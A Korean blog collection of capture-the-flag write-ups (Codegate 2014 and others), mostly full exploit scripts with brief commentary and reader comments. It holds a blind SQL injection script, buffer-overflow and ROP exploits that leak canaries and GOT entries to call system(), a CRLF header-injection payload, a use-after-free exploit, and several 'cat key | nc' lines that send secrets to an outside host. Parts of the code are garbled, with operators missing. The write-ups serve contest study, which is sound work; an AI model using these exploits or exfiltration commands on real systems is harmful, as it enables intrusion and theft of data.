strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(
ctype_lower($t)){
$randstring .= $t;
}
}
return
$randstring;
}

$max_times = 120;

if (
$_SESSION['cnt'] > $max_times){
unset(
$_SESSION['cnt']);
}

if ( !isset(
$_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();

$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@
mysql_query($query);

$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@
mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt'] ;

if (
$_POST['password'] ){

if (
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@
mysql_close($link);
exit(
"Wrong access");
}

$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if(
$res['ip']==$_SERVER['REMOTE_ADDR']){
@
mysql_close($link);
exit(
"True");
}
else{
@
mysql_close($link);
exit(
"False");
}
}

@
mysql_close($link);
?>






times left









Auth





소스코드를 보니 아니나 다를까 ip와 session으로 서로 다른것을 체크하기 때문에 쿠키 값만 다르고 ip는 똑같다면 여러번의 기회를 만들 수 있다.


예를들어서 A 쿠키로 먼저 접속후 sql injection 쿼리를 날리고 , B 쿠키로 접속하면 다시 기회가 120번이 남아있는 것을 볼 수있다.


또 A쿠키로 접속해보면 (120 - sql injection시도 횟수) 만큼 기회가 남아 있을 것이다.


바로 blind sql injection 툴을 짯다.


#97 - 122

import httplib,urllib;

from urllib import urlopen

#password=0'<1) and (0<1) and(if(ascii(substr(password,1,2))<150, 1, 0)=1) or (1<'0

#password=0'<1) and (0<1) and((ascii(substr(password,1,2))>>6)>1) or (1<'0


headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=ztv6lne26k1tgf2q8803stn2ka5"}


host = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"

result = ""

bit = ""

flag = 0

Truematch = "True"

sqlcmd = "select pass from member where id = 1"

total = 0


def change():

headers = {"Content-type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"}


def request(site,charpos,sqlcmd,match_str):

result = 3

for bitpos in range(4,-1,-1):

temp_match_str = Truematch

result *= 2

injection = "0'<1) and (0<1) and((ascii(substr(password,%d,1))>>%d)=%d) or (1<'0"%(charpos,bitpos,result)

params = urllib.urlencode({'password':injection})

print injection


conn=httplib.HTTPConnection("58.229.183.24:80")

conn.request("POST","/5a520b6b783866fd93f9dcdaf753af08/index.php",params,headers)


#conn=httplib.HTTPConnection("192.168.0.93:80")

#conn.request("POST","/codegate.php",params,headers)


if charpos == 20:

change()

print headers["Cookie"]

headers["Cookie"] = "PHPSESSID=1ztv6lne26k1tgf2q8803stn2ka5"

print "HEADER CHANGED"


response = conn.getresponse()

if temp_match_str in response.read():

result = 0

print "true 0 "

else:

result = 1

print "false 1"


return chr(result)

charpos = 1

while 1:

try:

result = request(host,charpos,sqlcmd,Truematch)

charpos = 1

print result

if len(result) == 30: break

except Exception:

print "%s => %s"%(sqlcmd,result)

break

raw_input("> ")


#Congrats! the key is DontHeartMeBaby*$#@!


방식은 20글자만큼 뽑아내면 헤더를 바꾸는 방식으로 진행했다. 그러면 먼저 사용한 쿠키엔 100번을 사용했고 나머지 쿠키는 아직 120번의 기회가 있으니 충분하다.


그리고 뽑아오는 방식은 bit shift 를 이용했고 paste bin 에 있는 기존 소스를 수정한 것이다.


Key : DontHeartMeBaby*$#@!

신고

댓글 0




Binary :

angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제엔 두부분으로 공격할 수 있다.


1. Stack Based Buffer Overflow

2. Pointer


1번은 bof 취약점이 있는 부분을 공격하면 되고, 2번은 4바이트의 값을 받고 그곳으로 점프한다. 하지만 필터링을 우회해야 한다.


예를들어서 AAAA 를 넣으면 0x41414141 로 점프하는 방법이다.


어떤 방법으로든 할순 있겠지만 아이디어가 떠오르지 않아 BOF 방향으로 진행했다.


그리고 이문제를 풀면서 스택쿠키가 4바이트이고 그 값이 똑같으면 우회할 수 있다는 것을 처음 알게 되었다.


이하 Exploit


from socket import *

import struct

import time


ip = "58.229.183.18"

#ip = "192.168.0.109"

port = 8888

p = lambda x : struct.pack("

up = lambda x : struct.unpack("


read = 0x08048620

write = 0x080486e0

write_got = 0x0804b040

freespace = 0x0804bc00

f_throwmouse = 0x08048fc6


cmd = "cat key|nc 220.117.247.200 31333\x00"


pppr = 0x080495bd


#write : e0910

#system : 41260

#write - system = 9F6B0

def stage1_payload(canary):

payload = "y"*10

payload = canary

payload = "A"*12


payload = p(write)

payload = p(pppr)

payload = p(4)

payload = p(write_got)

payload = p(4)


payload = p(f_throwmouse)

payload = "AAAA"

payload = p(4)


return payload


def stage2_payload(canary, write_ptr):

system = write_ptr - 0x9f6b0


payload = "y"*10

payload = canary

payload = "A" *12


payload = p(read)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len(cmd))


payload = p(system)

payload = "AAAA"

payload = p(freespace)

return payload


#################################################################

#####################[ get canary ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Get canary. . .")


s.send("4\n")

print s.recv(0x1024)

s.send("y"*11)

canary = s.recv(0x1024)[12 11:]#.encode("hex")

canary = canary[:len(canary)-3]

print "canary : " canary

canary = "\x00" canary[:3] # result

print "canary result : " canary[::-1].encode("hex")

s.close()

#################################################################

#####################[ staged_exploit ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Exploit. . . .")

s.send("4\n")

print s.recv(0x1024)

print stage1_payload(canary)

s.send(stage1_payload(canary))# "\x11\xe8\x10\xc3"


w_got = up(s.recv(4))

print "[!] Leaked write_got : " hex(w_got)

print s.recv(0x1024) # r u sure?

s.send(stage2_payload(canary, w_got))

time.sleep(1)

s.send(cmd)


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)



print s.recv(0x1024)

s.close()

#################################################################

raw_input("[*]All Done.")


"""

C:\Users\Administrator>nc -lvp 31333

listening on [any] 31333 ...

58.229.183.18: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.18] 46737: NO_DATA

CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

"""



Exploit은 총 3군데로 나눌수 있는데

첫 번째는 스택 쿠키를 가져오는 부분이고 [fork() 되어있기 때문에 항상 카나리 값은 고정이다.]

두 번째는 write_got 포인터를 Leak 시켜서 가져오고

세 번째는 leak 시킨 포인터를 이용하여 system 함수를 계산해서 Command Execution을 한다.


Key : CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

신고

Comment 3

  • system주소
    2014.02.26 11:09 신고 수정 답글

    시스템 주소를 구하는 방법에 대해서 물어봐도될까요?

    저는 b7로시작하던데.. 그 주소로 구한거 같진 않으시더라고요

    • 2014.02.26 12:18 신고 수정

      aslr이 있다는 가정하에 작성한 payload입니다.
      먼저 write 주소를 가져오고 write - system 한 값을 다시 write에서 빼주면 원래 system 주소가 나올것입니다.
      최종적으론 b7 ~~~~ 가 맞습니다.

  • 2015.01.20 20:04 신고 수정 답글

    exploit할때, 바이너리를 분석해보니 '1'번 메뉴에 들어가보면 어떤 값과 비교해서 그 값이 31337이면 execve("/bin/sh", "sh", 0) 부분이 있던데 gdb로 까서 execve 인자를 전달받는 부분으로 리턴하면 되지 않나요?




문제는 말그대로 WebProxy 문제이고 웹사이트 링크를 넣으면 서버가 그 곳에 get 메소드로 요청한뒤 정보를 받아온다.


문제 html 소스코드를 살펴보면 마지막줄에 <!-- admin/index.php --> 라는 소스코드가 있는데, 이 url로 접속해보니 403 Access 관련 오류가 나온다.


문제 의도는 admin 페이지를 읽는것으로 추정하고 문제 풀이에 들어갔다.


먼저 조금더 확인을 위해 여러 url과 필터링되는 값을 알아본 결과 // 와 php 라는 글자가 필터링된다.


이후 잠시 진전이 없다가 127.0.0.1/~/admin/ 으로 접근하면 어떨까 생각이 들고 바로 시행한 결과 200 OK 사인이 떨어졌다.




하지만 문제점이있다.


이렇게 access가 된다고 해도 2줄밖에 표시를 안한다는 점인데 이점은 Range 헤더를 추가하면 간단히 해결 할 수 있다.


하지만 http 헤더를 추가하는 방법이 감이 안잡혀 고민하다가 개행문자가 떠올랐다.


바로 %0a 인데 이것을 사용하면 되지 않을까 하고 바로 시행했다.


nc로 포트를 열고 웹프록시가 나에게 보내는 헤더를 보니 


GET / HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이었는데 이곳에 개행문자를 삽입하면


GET / 

HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이렇게 되는것을 확인했고 바로 공격을 시도했다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=127.0.0.1/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=372-415%0aReferer:


결과 : <!--if($_SERVER[HTTP_HOST]=="hackme")--></bo


range로 372 ~ 415 바이트 구간을 본 결과 host 값이 hackme 로 되어야 한다.


또 range로 앞부분을 살펴보면 Access Denied가 나오는데 아직 문제 풀이가 덜 됬다는 것을 알수 있다.


하지만 host 를 hackme로 한결과 그래도 accessdenied가 나오는데 아마 중복헤더 때문에 그런것 같은 느낌이다.

GET / 

HTTP/1.0

HOST : hackme

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


위와 같이 중복헤더가 생성되어 if문을 통과하지 못했는데, 이는 간단하게 해결할 수 있다.


최종 페이로드는 다음과 같다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=76-121%0aHost:%20hackme%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aReferer:


결과 


HTTP/1.1 206 Partial Content

Date: Sat, 22 Feb 2014 15:22:17 GMT

Server: Apache/2.4.6 (Ubuntu)

X-Powered-By: PHP/5.5.3-1ubuntu2.1

Vary: Accept-Encoding

Content-Range: bytes 76-121/127

Content-Length: 46

Connection: close

Content-Type: text/html



Password is WH0_IS_SnUS_bI1G_F4N



Key : WH0_IS_SnUS_bI1G_F4N

저작자 표시 비영리 변경 금지
신고

댓글 0




nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c


from socket import *

from struct import *

import time


p = lambda x : pack("

up = lambda x : unpack("

ip = "192.168.0.109"

ip = "58.229.183.22"

port = 1129


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


launchcode = "in the end, i was there." # this is passkey


send_plt = 0x08048900

recv_plt = 0x080488e0

send_wrap = 0x08048a0d

recv_wrap = 0x08048a6f


mprotect_got = 0xb75f22b0

freespace = 0x0804b500


ppppr = 0x0804917c

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1


def leak_payload1():

payload = ""

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_payload2():

payload = ""

payload = "1."

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_setsock_got():

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(send_wrap)

payload = p(ppr)

payload = p(4)

payload = p(0x0804b00c)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

return payload


def mpro_exploit(mprotect): # mprotect payload

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(mprotect)

payload = p(pppr)

payload = p(freespace)

payload = p(3000)

payload = p(7)


payload = p(recv_wrap)

payload = p(pr)

payload = p(4)

payload = p(freespace)

payload = p(len(shellcode))


return payload


def sys_exploit(system):

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(recv_wrap)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len("cat key | nc 220.117.247.200 12071\x00"))


payload = p(system)

payload = p(pr)

payload = p(freespace)


payload = p(0x08048b5b)

return payload


#########################[START EXPLOIT]##############################

print s.recv(1024)

print s.recv(1024)

s.send("target\n")

print s.recv(1024)

s.send(leak_payload1() "\n") # try to leak

##################[End LEAK FILE NAME - 1]############################

print s.recv(4096)

print s.recv(4096)

s.send("target\n")

print s.recv(4096)

s.send(leak_payload2() "\n") # try to leak File name

##################[End LEAK FILE NAME - 2]############################

print s.recv(4096)

launchcode = s.recv(4096).split('\n')[0]

launchcode = launchcode[len(launchcode)-24:] # get launchcode

launchcode = "\n"

print "LEAKED NUCLEAR LAUNCH CODE IS : " launchcode

##################[End LEAK FILE NAME - 3]############################

s.send("launch")

print s.recv(4096)

s.send(launchcode)

print s.recv(1024)

s.send(leak_setsock_got())

print s.recv(1024)

time.sleep(1)

setsockopt = up(s.recv(1024)[0:4])

print hex(setsockopt)

print s.recv(1024)

##################[ End LEAK SETSOCK 'GOT' ]##########################

mprotect = setsockopt - 0x6810

system = setsockopt - 0xb2860

print hex(system)

#######################[ GOT SYSTEM PTR ]#############################

s.send(sys_exploit(system))

time.sleep(0.3)

s.send("cat key | nc 220.117.247.200 12071\x00")

time.sleep(0.3)

############################[ GET KEY ]###############################

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

##########################[ End Of File ]#############################

"""


"in the end, i was there." # this is passkey


######################################################################

:: Welcome to the Nuclear Control System ::



>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111넁%P

> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111


>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


LEAKED NUCLEAR LAUNCH CODE IS : in the end, i was there.


[ ] Enter the passcode to launch the nuclear :

[ ] Correct passcode!


[2J[0;0H[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 100

0xb76a8ac0L

[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 99

0xb75f6260L


C:\Users\Administrator>


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.22: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.22] 45227: NO_DATA

BUG_BOUNTIES_b3COM3_GrEAT

"""

# Key : BUG_BOUNTIES_b3COM3_GrEAT

##############################[ Result ]##############################


Key : BUG_BOUNTIES_b3COM3_GrEAT


처음에 mprotect로 시도하는데 잘 안되서 system으로 전환했더니 잘 된다.


이럴수가! [근데 cd80의 풀이를 보니 mprotect도 잘된는것 같았다... -_-]


신고

Comment 12

  • ba2ly
    2014.02.17 02:03 신고 수정 답글

    대회 풀이들 보면 되게 신기하네요
    이 문제 같은거 풀려면 무슨 공부가 필요한가요??

    • 2014.02.17 13:05 신고 수정

      위 문제는 리눅스에 대한 지식과 buffer overflow에 대한 지식, 그리고 plt, got 등 elf에 대한 구조에 대한 이해 등 이 필요할것 같습니다.

  • 2014.02.17 12:26 수정 답글

    비밀댓글입니다

    • 2014.02.17 13:02 신고 수정

      안녕하세요.

      exploit에 대한 간단한 흐름은

      1. passcode를 저장하는 버퍼의 내용을 유출시켜서 passcode를 알아내고
      2. 유출된 passcode를 입력합니다.
      3. 그다음엔 setsockopt[맞나..] 함수 주소를 유출시킵니다. [aslr 우회]
      4. 유출된 주소를 베이스로 -0xb2860만큼 빼서 system함수의 주소를 계산합니다.
      5. 계산한 주소를 이용하여 exploit을 작성합니다.

      위 exploit은 쉘코드를 이용하지 않으므로 nx는 우회할 필요 없었습니다.

    • 2014.02.17 13:04 신고 수정

      추가로 send_wrap은 ida나 gdb로 0x08048a0d 주소로 가시면 함수의 역할을 알 수 있습니다

      그냥 간단하게 말하면 인자를 넣어 값을 'send'해주는 함수입니다.

  • 2014.02.17 13:42 수정 답글

    비밀댓글입니다

  • ba2ly
    2014.02.17 14:21 신고 수정 답글

    리눅스에 대한 지식이라면
    우분투나 centos 공부인가요??

    • 2014.02.17 14:33 신고 수정

      네 기본적인 것 뿐만아니라 해킹기술과 elf 파일에 대한 구조에대한 공부도 필요합니다.

  • ba2ly
    2014.02.19 16:52 신고 수정 답글

    오호, 감사합니다
    근데 막 이것저것 검색해서 보고있는데 문서들이 다 너무 어렵네요 ;
    해킹기술엔 뭐가 있는지 그런건 어떻게 알게되는건가요?
    바쁘실텐대 궁금한게 많아서 죄송요..

  • 2014.02.19 19:27 수정 답글

    비밀댓글입니다

  • 2014.04.13 17:10 수정 답글

    비밀댓글입니다

    • 2014.04.26 00:04 신고 수정

      늦은 답변 죄송합니다.

      각각 ida에서 주소를 대조해보시면 어떤것인지 알 수 있으실 겁니다 ^^
      pr = pop + ret
      freespace = rw- or rwx 영역입니다.





Closure -----


closure


C:\Users\Administrator>nc 58.229.183.22 2020

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

1. Login

2. Create Account

3. Quit

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$ 2

Username: 5

[531320059] user created.

$ 1

Username: 531320059

login success.

##################################

1. create file

2. check file list

3. Log out

##################################

# 1

[ ] input filename to write : ~ -name key -exec cat {}

[ ] input contents of this file : (MAX 1024 bytes)

123123

[ ] Write Done!


2

# sandbox

hoi

;


1024

kkk


awef


key

sambalbij


aa

?담뀋?밤꽩?뉎꽮?담뀋?밤꽩?뉎꽮

dfsafsda

key

yes

\/home

testtest

2

3

asd

key

'home/sandbox';

12345


'

/home

contenta

cat /home/runcommand/key

key -exec cat {}

asd


keykey

1

cat /home/runcommand/key

1024

key

ls

codegate

/bin/sh ls

123

2

123

"SDFSDF"SDF"SDF""@$E"@$@"$@"#!"""""

test

124124124

"&%^&%^&^%"%^&"

key

DUD3_GOOD_KEY_IS_GOLD_KEY


#


key : DUD3_GOOD_KEY_IS_GOLD_KEY



Run Command ------------

바이너리 없음.



#######################################################################

C:\Users\Administrator>nc -lvp 9091

listening on [any] 9091 ...

58.229.183.21: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.21] 52080: NO_DATA

HIGH5_TO_BUGHunT3RS


guest@codegate:/tmp$ cat swswsw_cmd

sh swswswshguest@codegate:/tmp$


guest@codegate:/tmp$ cat swswswsh

cat /home/closure/key | nc 220.117.247.200 9091


key : HIGH5_TO_BUGHunT3RS



신고

Comment 5


Binary :


level4



from socket import *

import struct

import time


p = lambda x : struct.pack("


ip = "192.168.0.109"

port = 31333


freewrap = 0x080487c4

system_plt = 0x08048630


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(1024)

print s.recv(1024)


for i in range(0, 3):

s.send("1\n")

print s.recv(1024)


s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send(p(freewrap)*0x100 p(system_plt)*0x300 "\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(0x1024)


for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("zzzzzz\n") # reply

print s.recv(1024)


s.send("1\n")

print s.recv(1024)


s.send("4\n")

print s.recv(1024)

print s.recv(1024)



for i in range(0, 2):

s.send("1\n")

print s.recv(1024)


s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send("BBBB" "\n")

print s.recv(1024)

print s.recv(1024)


s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(1024)


s.send("4\n") # select board 4

print s.recv(1024)

print s.recv(0x1024)



s.send("2\n") # modify

print s.recv(1024)

s.send("sweetchi\n")

print s.recv(1024)

s.send("3137\n")

print s.recv(1024)



for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("/bin/sh\n") # reply

print s.recv(1024)


s.send("1\n") # BOOM


s.send("whoami\n")

print s.recv(1024)



UAF 입문 및 분석에 많은 도움을 준 문제..


완벽히 궁금증들이 모두 풀린것은 아니지만 할만 하다.

신고

댓글 0



level10


binary


# jctf 2013 lv10 exploit -

from socket import *

import time


ip = "127.0.0.1"

port = 31333


payload = "257\n" # type conversion

payload = "134525080\n" # random[16]

payload = "7\n" # exit

payload = "A"*19 #buff ~ 19

payload = "\n" # buff ~ 20


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(1024)

s.send("257\n")


print s.recv(1024)

s.send("134525080\n")


print s.recv(1024)

s.send("7\n")


print s.recv(1024)

s.send("A"*19 "\n")


time.sleep(1)


canary = s.recv(1024)


print canary


canary = canary[164:]


print canary


s.send(canary)


print s.recv(1024)



위는 익스플로잇이다.




root@ubuntu:/home/sweetchip/Desktop/cyber/jctf# python ./a.py

Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT:

Value?

INPUT:

add_value(): added


Get me your information.

1. Age

2. Sex

3. Birth

4. Favorite number

5. Reversing skill

6. Exploitaion skill

7. Exit this menu

INPUT:

Thanks for the info.

1: number - 00000101, value - 0804b098

Are you trying to buffer overflow?!:

INPUT: [1] error: the buffer is too long. [36][AAAAAAAAAAAAAAAAAAA

ǖ>丒𢡊ඝ

Input the random bytes, if correct, you'll get the flag!

INPUT:

ǖ>丒𢡊ඝ

Input the random bytes, if correct, you'll get the flag!

INPUT:


Oh, wow! Congrats! The key is: this is flag zz << 임시로 만들어둔 플래그입니다.


INPUT:

root@ubuntu:/home/sweetchip/Desktop/cyber/jctf#


원래 로컬 문제지만 그냥 리모트로 돌리고 exploit을 진행했다.


또 이문제는 여러 풀이가 있을수 있지만 이번엔 type conversion buffer overflow 를 이용하여 random값을 유출시킨 뒤 풀었다.



신고

댓글 0


2013년 11월 8일 오전 10시 @분 ~ 오후 4시 5분까지 POC 이벤트 홀에서 여성 해킹방어대회 본선이 진행 되었습니다.


저는 학교에 수능성적을 적으려 잠시 다녀오고 11시에 양재동으로 가는데 차가 막혀서 거의 12시약간 안되서부터 운영에 참가했었습니다.


그리고 제 문제는 대략 2시 이후에 공개되었엇는데, 공개가 되고 난 뒤 돌아다녀보니 많은 팀들이 닷넷 리버싱을 풀고 계셨습니다.


예선때 문제를 생각보다 잘 푸셧기 때문에[한번에 풀 수 있는 트릭을 잘 사용하신 팀이 상당히 많았음] 본선엔 약간 난이도를 올려 크랙미에서 키젠미로 내려고 하게 되었고,


예선때와 마찬가지로 손수 난독화를 진행해서 최종적으로 출제했었습니다.



F2EE31BCB5BD7DE78280E949877018AAF7F1C610




문제는 위와 같이 평문 메세지를 입력하면 암호화된 문자열을 출력시키는 방식입니다.


그리고 문제 원본은 압축파일이었고 문제 바이너리와 텍스트 메세지가 함께 들어있었습니다.


decrypt_message.txt


Sweet Secret Memo _ logger 0.1

Date : 10.26_23:44 [UTC 09:00]

Chicken's Message : 144 207 93 170 111 25 130 144 21 152 172 -3 113 164 -24 94 117 -25 173 106 77 169 119 15 135 127 9 111 123 -12 109 218 61 155 98 50 199 131 -2 168 205 75 169 164 24 139 116 95 127 113 71 102 141 -18 152 153 28 111 131 74 207 201 -21 174 155 74 138 164 -7 179 215 94 187 142 55 147 99 64 176 117 25 193 177 47 135 111 -5 108 137 -8 132 120

Egg's Message : 210 209 22 126 188 29 212 101 24 125 145 -22 180 134 -30 162 107 18 142 210 8 185 95 -23 221 123 54 183 180 39 103 145 57 141 181 56 141 138 -25 124 133


End of Log


문제의 주 목적은 위에 있는 정보를 활용하여 데이터를 복호화 시키는 것이었고, 두가지는 공통 조건이므로 한번 복호화 루틴을 만들면 똑같이 수행할 수 있습니다.


이 문제 역시도 예선때와 같이 문제속에 닷넷 디컴파일러를 다운받을 수 있는 링크가 주어졌습니다. [디자인은 재탕 ㅎㅎ]


디컴파일러로 디컴파일을 해보면 다음과 같습니다.


using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;
namespace POWEROFXX_easy_reversing
{
public class Form1 : Form
{
public string d8jergu394r0nnsjd94jfs = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq";
public int njgcgcxdxxx6r = DateTime.Today.DayOfYear;
public int zfgvjnkji8y6ug9u9i = DateTime.Now.Hour;
public int cljbyt798ygdre5 = DateTime.Now.Minute;
public int zsawsrf6g0i98t6vllp = DateTime.Today.Month;
public int qexyg8j9u8thuhg = DateTime.Today.Day;
private IContainer components;
private Button button1;
private Panel panel1;
private Panel panel2;
private Label label3;
private TextBox textBox1;
private TextBox textBox2;
private Label label1;
private void textbox1_mouseclick(object sender, MouseEventArgs e)
{
}
public Form1()
{
this.InitializeComponent();
this.d8jergu394r0nnsjd94jfs = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi";
this.d8jergu394r0nnsjd94jfs = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ";
}
public string ldfogndkfvisgi490rjgdijgw434ref(string a)
{
StringBuilder stringBuilder = new StringBuilder();
int num = this.zsawsrf6g0i98t6vllp;
char[] array = a.ToCharArray();
for (int i = 0; i < a.Length; i )
{
stringBuilder.Append((int)(this.d8jergu394r0nnsjd94jfs[i num] ^ array[i]) " ");
}
return stringBuilder.ToString();
}
public int kfig9jepoingndkfvndjroger(string chr, int range)
{
int num = int.Parse(chr);
int num2 = range % 3;
int num3 = 2;
if (num2 == 0)
{
num = this.qexyg8j9u8thuhg * num3 this.cljbyt798ygdre5 * num3 - this.zfgvjnkji8y6ug9u9i * 2;
}
else
{
if (num2 == 1)
{
num = this.zsawsrf6g0i98t6vllp * 3 this.cljbyt798ygdre5 * 2 - this.zfgvjnkji8y6ug9u9i * num2;
}
else
{
if (num2 == 2)
{
num = this.njgcgcxdxxx6r - this.zsawsrf6g0i98t6vllp * (num2 * 5) - this.cljbyt798ygdre5 * num2 - this.zfgvjnkji8y6ug9u9i * (num3 4) - num2 * num3;
}
}
}
return num;
}
public void lfkfidngigiwhiu3yr89igorg(string str)
{
string text = "Sweet Secret Memo _ lfkfidngigiwhiu3yr89igorg 0.1\r\n";
object obj = text;
text = string.Concat(new object[]
{
obj,
"Date : ",
this.zsawsrf6g0i98t6vllp,
".",
this.qexyg8j9u8thuhg,
"_",
this.zfgvjnkji8y6ug9u9i,
":",
this.cljbyt798ygdre5,
" [UTC 09:00]\r\n"
});
text = text "Your Message : " str "\r\n\r\n";
text = "End of Log";
StreamWriter streamWriter = new StreamWriter("savelog.txt");
streamWriter.Write(text);
streamWriter.Close();
}
public void gettime()
{
this.njgcgcxdxxx6r = DateTime.Today.DayOfYear;
this.cljbyt798ygdre5 = DateTime.Now.Minute;
this.zsawsrf6g0i98t6vllp = DateTime.Today.Month;
this.qexyg8j9u8thuhg = DateTime.Today.Day;
this.zfgvjnkji8y6ug9u9i = DateTime.Now.Hour;
}
public static string ncfjgirerg430t34trdgdfs(string input)
{
int length = input.Length;
char[] array = new char[length];
for (int i = 0; i < input.Length; i )
{
array[i] = input[length - i - 1];
}
return new string(array);
}
private void Form1_Load(object sender, EventArgs e)
{
this.panel2.BackColor = Color.Transparent;
this.d8jergu394r0nnsjd94jfs = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm";
this.d8jergu394r0nnsjd94jfs = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5";
this.d8jergu394r0nnsjd94jfs = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk";
this.d8jergu394r0nnsjd94jfs = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN";
this.d8jergu394r0nnsjd94jfs = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o";
this.d8jergu394r0nnsjd94jfs = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5N";
}
private void panel_doubleclick(object sender, MouseEventArgs e)
{
MessageBox.Show("aHR0cDovL2lsc3B5Lm5ldC8=", "__BASE64__");
}
